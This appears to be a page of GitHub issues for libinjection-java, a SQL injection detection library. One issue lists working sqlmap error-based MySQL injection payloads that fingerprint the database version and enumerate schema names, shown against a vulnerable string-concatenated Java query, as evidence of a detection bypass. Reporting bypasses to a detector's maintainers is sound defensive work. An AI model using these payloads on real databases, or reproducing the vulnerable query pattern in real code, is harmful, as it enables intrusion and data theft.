kanatoko / libinjection-java Goto Github PK

private static String listToString(final List l) {
StringBuffer buf = new StringBuffer(180);

why this StringBuffer init as 180？
thx

sqlmap 1.6
payload:
EXP(~(SELECT * FROM (SELECT CONCAT(0x71707a6a71,(SELECT (CASE WHEN (5931=5931) THEN 1 ELSE 0 END)),0x716b7a7671,0x78))x))

java:
rset = stmt.executeQuery ("SELECT * FROM vuln WHERE id = " + id);

other payload:
EXP((SELECT * FROM (SELECT CONCAT(0x7178707071,(SELECT REPEAT(0x34,1024)),0x717a626a71,0x78))x))
EXP((SELECT * FROM (SELECT CONCAT(0x7178707071,(SELECT REPEAT(0x33,453)),0x717a626a71,0x78))x))
EXP((SELECT * FROM (SELECT CONCAT(0x7178707071,(SELECT (CASE WHEN (VERSION() LIKE 0x254d61726961444225) THEN 1 ELSE 0 END)),0x717a626a71,0x78))x))
EXP((SELECT * FROM (SELECT CONCAT(0x7178707071,(SELECT (CASE WHEN (VERSION() LIKE 0x255469444225) THEN 1 ELSE 0 END)),0x717a626a71,0x78))x))
EXP((SELECT * FROM (SELECT CONCAT(0x7178707071,(SELECT (CASE WHEN (@@VERSION_COMMENT LIKE 0x256472697a7a6c6525) THEN 1 ELSE 0 END)),0x717a626a71,0x78))x))
EXP((SELECT * FROM (SELECT CONCAT(0x7178707071,(SELECT (CASE WHEN (@@VERSION_COMMENT LIKE 0x25506572636f6e6125) THEN 1 ELSE 0 END)),0x717a626a71,0x78))x))
EXP((SELECT * FROM (SELECT CONCAT(0x7178707071,(SELECT (CASE WHEN (AURORA_VERSION() LIKE 0x25) THEN 1 ELSE 0 END)),0x717a626a71,0x78))x))
EXP((SELECT * FROM (SELECT CONCAT(0x7178707071,(SELECT IFNULL(CAST(COUNT(schema_name) AS NCHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),0x717a626a71,0x78))x))
EXP((SELECT * FROM (SELECT CONCAT(0x7178707071,(SELECT MID((IFNULL(CAST(schema_name AS NCHAR),0x20)),1,453) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),0x717a626a71,0x78))x))
EXP((SELECT * FROM (SELECT CONCAT(0x7178707071,(SELECT MID((IFNULL(CAST(schema_name AS NCHAR),0x20)),1,453) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1),0x717a626a71,0x78))x))

Looking good!

update sqlparse_data_h_to_java.java to use sqlparse_data.json it's in github.

https://github.com/client9/libinjection/blob/master/c/sqlparse_data.json

(also, fingerprints.txt has been update, please update your copy)

thanks!

Around 19 days back, Libinjection came up with version 3.9.2. Can you please do a matching release?

如图所示，增加GTID_SUBSET后，sql注入就能被阻止，否则默认的策略是会被绕过的。
谢谢

MListSizeComparator isn't trigger readObject

so MListSizeComparator dont need implements Serializable